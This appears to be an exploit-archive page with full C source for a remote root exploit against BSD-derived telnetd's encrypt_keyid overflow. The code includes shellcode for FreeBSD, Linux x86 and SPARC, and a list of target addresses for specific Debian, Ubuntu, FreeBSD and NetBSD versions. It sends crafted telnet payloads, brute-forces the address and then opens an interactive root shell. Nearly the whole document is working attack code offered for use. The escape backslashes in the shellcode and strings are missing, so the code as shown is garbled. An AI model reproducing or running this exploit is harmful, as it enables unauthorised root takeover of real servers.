[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Telnetd encrypt_keyid: Remote Root function pointer overwrite
# Published : 2011-12-26
# Author :
# Previous Title : XAMPP WebDAV PHP Upload
# Next Title : Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow


/***************************************************************************
 *            telnetd-encrypt_keyid.c
 *
 *  Mon Dec 26 20:37:05 CET 2011
 * 
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *  Copyright  2011  Gonzalo J. Carracedo (BatchDrake)
 * 
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *  BatchDrake@painsec.com - BatchDrake@gmail.com
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________  _____________
 *        /  ___ / __  / / __  /    / _ /  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/______,_/_/_/ /_/______/___/____/____
 *
 *
 ****************************************************************************/

/*
 * 
 * Usage:
 * 
 * $ gcc exploit.c -o exploit
 * 
 * $ ./exploit 127.0.0.1 23 1
 * [<] Succes reading intial server request 3 bytes
 * [>] Telnet initial encryption mode and IV sent
 * [<] Server response: 8 bytes read
 * [>] First payload to overwrite function pointer sent
 * [<] Server response: 6 bytes read
 * [>] Second payload to triger the function pointer
 * [*] got shell?
 * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>


/*
 * Most of the inetd impletantions have a connection limit per second
 * so you must chage this if you start getting errors reading responses
 *  - for 60 conex per min  900000
 *  - for 40 conex per min 1500000
 *  - for no limit 300000 should work
 */
#define BRUTE_TOUT 300000



#define MAXKEYLEN 64-1

struct key_info
{
  unsigned char keyid[MAXKEYLEN];
  unsigned char keylen[4];
  unsigned char dir[4];
  unsigned char modep[4];
  unsigned char getcrypt[4];
};

struct target_profile
{
  uint32_t      skip;
  const char    *address;
  const char    *desc;
  const char    *shellcode;
  
};


/* Shellcode FreeBSD x86 */
const char s_bsd32[] =
   "x31xc0"                      // xor          %eax,%eax
   "x50"                          // push         %eax
   "xb0x17"                      // mov          $0x17,%al
   "x50"                          // push         %eax
   "xcdx80"                      // int          $0x80
   "x50"                          // push         %eax
   "x68x6ex2fx73x68"          // push         $0x68732f6e
   "x68x2fx2fx62x69"          // push         $0x69622f2f
   "x89xe3"                      // mov          %esp,%ebx
   "x50"                          // push         %eax
   "x54"                          // push         %esp
   "x53"                          // push         %ebx
   "x50"                          // push         %eax
   "xb0x3b"                      // mov          $0x3b,%al
   "xcdx80";                     // int          $0x80

/* Shellcode Linux x86 */
const char s_linux32[] = "x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80";


/* Shellcode Linux sparc */
const char s_linuxsparc[] = "x2dx0bxd8x9a"  /* sethi %hi(0x2f626800), %l6 */
                            "xacx15xa1x6e"  /* or %l6, 0x16e, %l6         */
                            "x2fx0bxdcxda"  /* sethi %hi(0x2f736800), %l7 */
                            "x90x0bx80x0e"  /* and %sp, %sp, %o0          */
                            "x92x03xa0x08"  /* add %sp, 0x08, %o1         */
                            "x94x22x80x0a"  /* sub %o2, %o2, %o2          */
                            "x9cx03xa0x10"  /* add %sp, 0x10, %sp         */
                            "xecx3bxbfxf0"  /* std %l6, [ %sp + - 16 ]    */
                            "xd0x23xbfxf8"  /* st %o0, [ %sp + - 8 ]      */
                            "xc0x23xbfxfc"  /* clr [ %sp + -4 ]           */
                            "x82x10x20x3b"  /* mov 0x3b, %g1              */
                            "x91xd0x20x10"; /* ta 0x10                    */



/* Valid targets list */
struct target_profile targets[] =
{
  {20, "x00x80x05x08", "Generic Linux i386 bruteforce", s_linux32},
  {20, "x00x80x05x08", "Generic BSD i386 bruteforce", s_bsd32},  
  {20, "x23xccx05x08", "Ubuntu GNU/Linux 10.04, Inetutils Server (i386)", s_linux32},
  {20, "x12xc9x05x08", "Ubuntu GNU/Linux 10.04, Heimdal Server (i386)", s_linux32},
  {20, "xefx56x06x08", "Debian GNU/Linux stable 6.0.3, Inetutils Server (i386)", s_linux32},
  {20, "x56x9ax05x08", "Debian GNU/Linux stable 6.0.3, Heimdal Server (i386)", s_linux32},
  {1,  "x00x03xe7x94", "Debian GNU/Linux stable 6.0.3 Inetutils (SPARC)", s_linuxsparc},
  {3,  "x00x03x2ex0c", "Debian GNU/Linux stable 6.0.3 Heimdal Server (SPARC)", s_linuxsparc},
  {20, "xa6xeex05x08", "FreeBSD 8.0 (i386)", s_bsd32},
  {20, "xa6xeex05x08", "FreeBSD 8.1 (i386)", s_bsd32},
  {20, "xedxeex05x08", "FreeBSD 8.2 (i386)", s_bsd32},
  {20, "x02xacx05x08", "NetBSD 5.1 (i386)", s_bsd32},
  
  {0, NULL, NULL, NULL}
};



/* Telnet commands */
static unsigned char tnet_init_enc[] = 
        "xffxfax26x00x01x01x12x13"
        "x14x15x16x17x18x19xffxf0";

static unsigned char tnet_option_enc_keyid[] = "xffxfax26x07";

static unsigned char tnet_end_suboption[] = "xffxf0";


/* Check if the shellcode worked, slightly simpler than shell (int) */
static int
checkmagic (int fd)
{
  char got[32];
  
  if (write (fd, "echo pikachun", 13) < 0)
    return -1;
    
  if (read (fd, got, 32) <= 0)
    return -1;

  return -!strstr (got, "pikachu");
}


/*
 * shell(): semi-interactive shell hack
 */
static void shell(int fd)
{
    fd_set  fds;
    char    tmp[128];
    int n;
    
    /* check uid */
    write(fd, "idn", 3);
 
    /* semi-interactive shell */
    for (;;) {
        FD_ZERO(&fds);
        FD_SET(fd, &fds);
        FD_SET(0, &fds);
 
        if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }
 
        /* read from fd and write to stdout */
        if (FD_ISSET(fd, &fds)) {
            if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
                fprintf(stderr, "Goodbye...n");
                break;
            }
            if (write(1, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
 
        /* read from stdin and write to fd */
        if (FD_ISSET(0, &fds)) {
            if ((n = read(0, tmp, sizeof(tmp))) < 0) {
                perror("read");
                break;
            }
            if (write(fd, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
    }
}


static int open_connection(in_addr_t dip, int dport)
{
   int pconn;
   struct sockaddr_in cdata;
   struct timeval timeout;

   /* timeout.tv_sec  = _opts.timeout; */
   timeout.tv_sec  = 8;
   timeout.tv_usec = 0;

   /* Set socket options and create it */
   cdata.sin_addr.s_addr = dip;
   cdata.sin_port = htons(dport);
   cdata.sin_family = AF_INET;

   pconn = socket(AF_INET, SOCK_STREAM, 0);
   
   if( pconn < 0 )
   {
      printf("Socket error: %in", pconn);
      printf("Err message: %sn", strerror(errno));
      return (-1);
   }

   /* Set socket timeout */
   if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
      perror("setsockopt SO_RCVTIMEO: ");
   
   /* Set socket options */
   if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
      perror("setsockopt SO_SNDTIMEO: ");
      

   /* Make connection */
   if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
   {
      close(pconn);
      return -1;
   }
   
   return pconn;
}



static void usage(char *arg)
{
    int x = 0;
    
    printf("             ______      __      ________  n");
    printf("           /  __  /     /_/     /  _____/n");
    printf("          /  /_/ /______________\  \_____________n");
    printf("         /  ___ / __  / / __  /  \  \/ _ \/  __/n");
    printf("        /  /   / /_/ / / / / /___/  /  __/  /__n");
    printf("   ____/__/____\__,_/_/_/ /_/______/\___/\____/____n");
    printf("   ---------------- www.painsec.com ---------------nn");
    printf("(c) NighterMan & BatchDrake 2011, almost 2012n");
    printf("OH MY GOD WE ARE ALL ABOUT TO DIEnn");
    printf("Available Targets:nn");
    
    
    /* print tagets */
    while(targets[x].address != NULL) {
        printf("  %2i: %sn", x + 1, targets[x].desc);
        x++;
    }
    
    printf("n");
    printf("Telnetd encrypt_keyid exploitn");
    printf("Usage: %s [ip] [port] [target]nn", arg);
}


int
attack (const char *ip, unsigned int port,
        unsigned char *payload, unsigned int psize, int tryshell)
{
  unsigned char readbuf[256];
  int ret;
  int conn;
 
  /* Open the connection */
  conn = open_connection(inet_addr(ip), port);
  if (conn == -1) {
      printf("Error connecting: %in", errno);
      return -1;
  }
  
  /* Read initial server request */
  ret = read(conn, readbuf, 256);
  
  if (ret <= 0)
  {
    printf ("[!] Error receiving response: %sn", 
      ret ? strerror (errno) : "empty response");
    close (conn);
    return -1;
  }
  
  printf("[<] Succes reading intial server request %i bytesn", ret);
  
  /* printf("ATTACH DEBUGGER & PRESS KEY TO CONITNUEn"); */
  /* ret = getchar(); */
  
  /* Send encryption and IV */
  ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
  if (ret != sizeof(tnet_init_enc)) {
      printf("Error sending init encryption: %in", ret);
      close (conn);
      return -1;
  }
  printf("[>] Telnet initial encryption mode and IV sentn");
  
  /* Read response */
  if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
  {
    printf ("[!] Timeout when receiving responsen");
    close (conn);
    return -1;
  }
  else
    printf("[<] Server response: %i bytes readn", ret);
  
  /* Send the first payload with the overflow */
  ret = write(conn, payload, psize);
  if (ret != psize) {
      printf("Error sending payload first timen");
      close (conn);
      return -1;
  }
  printf("[>] First payload to overwrite function pointer sentn");
  
  /* Read Response */
  if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
  {
    printf ("[!] Timeout when receiving responsen");
    close (conn);
    return -1;
  }
  else
    printf("[<] Server response: %i bytes readn", ret);
  
  
  /* Send the payload again to tigger the function overwrite */
  ret = write(conn, payload, psize);
  if (ret != psize) {
      printf("Error sending payload second timen");
      close (conn);
      return -1;
  }
  printf("[>] Second payload to triger the function pointern");
  
  if (tryshell)
  {
  /* Start the semi interactive shell */
    printf("[*] got shell?n");
    shell(conn);
    
    ret = 0;
  }
  else
  {
    printf ("[*] Does this work? ");
    
    /* Just check if it works */
    
    if (checkmagic (conn) == 0)
    {
      printf ("YES!!!n");
      printf ("Add the Target address to the targets list & recomple!!!n");
      ret = 0;
    }
    else
    {
      printf ("nope :(n");
      ret = -1;
    }
  }
  
  close (conn);
  
  return ret;
}


int main(int argc, char *argv[])
{
    int offset = 0;
    int target;
    int i;
    unsigned int address;
    
    /* Payload Size */
    int psize = (sizeof(struct key_info) + 
                sizeof(tnet_option_enc_keyid) + 
                sizeof(tnet_end_suboption));
    
    struct key_info bad_struct;
    unsigned char payload[psize];
    
    if ( argc != 4) {
        usage(argv[0]);
        return -1;
    }
    
    /* Fill the structure */
    memset(&bad_struct, 0x90, sizeof(struct key_info));
    memcpy(bad_struct.keylen,   "DEAD", 4);
    memcpy(bad_struct.dir,      "BEEF", 4);
    
    target = atoi(argv[3]) - 1;
    /* Target selection */
    struct target_profile *t;
    t = &targets[target];
    printf("Target: %snn", t->desc);
    
    for (i = 0; !i || target < 2; i++)
    {
      offset = 0;
      memcpy(&bad_struct.keyid[t->skip], t->shellcode, strlen(t->shellcode));
      memcpy (&address, t->address, 4);
      
      address += ((i + 1) >> 1) * (t->skip - 1) * (1 - ((i & 1) << 1));
      printf ("[*] Target address: 0x%04xn", address);
      
      memcpy(bad_struct.modep, &address, 4); /* Readable address */
      memcpy(bad_struct.getcrypt, &address, 4); /* Function pointer */
         
      /* Prepare the payload with the overflow */
      memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
      offset += sizeof(tnet_option_enc_keyid);
      memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
      offset += sizeof(bad_struct);
      memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
      
      if (attack (argv[1], atoi (argv[2]), payload, psize, target >= 2) == 0)
        break;
      
      usleep (BRUTE_TOUT);
    }
    
    return 0;
}